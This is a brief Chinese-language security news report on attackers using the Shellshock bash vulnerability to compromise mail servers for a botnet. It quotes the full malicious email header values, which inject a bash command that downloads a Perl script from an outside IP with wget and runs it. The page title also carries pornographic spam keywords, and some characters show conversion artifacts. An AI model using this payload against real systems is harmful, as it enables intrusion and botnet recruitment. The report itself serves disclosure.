压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

攻擊者利用Shellshock漏洞入侵郵件服務(wù)器

  攻擊者正利用上個(gè)月披露的Shellshock漏洞入侵郵件服務(wù)器建立僵尸網(wǎng)絡(luò)。

  Shellshock漏洞是指攻擊者向使用bash的Unix/Linux服務(wù)器發(fā)送精心構(gòu)造的請(qǐng)求,誘騙bash遠(yuǎn)程執(zhí)行命令。安全研究人員報(bào)告,攻擊者向郵件服務(wù)器發(fā)送特定的消息頭字段,誘騙服務(wù)器執(zhí)行一個(gè) Perl腳本,成為僵尸網(wǎng)絡(luò)的一部分。

  郵件消息頭的構(gòu)成是:

  Message-ID:() { :; };wget -O /tmp/.legend hxxp://190-94-251-41/legend.txt;killall -9 perl;perl /tmp/.legend

  References:() { :; };wget -O /tmp/.legend hxxp://190-94-251-41/legend.txt;killall -9 perl;perl /tmp/.legend

 

上一篇:智能無(wú)懼挑戰(zhàn) 山石網(wǎng)科轟動(dòng)RSA2015

下一篇:安全聯(lián)盟宣布阻止了一次中國(guó)黑客行動(dòng)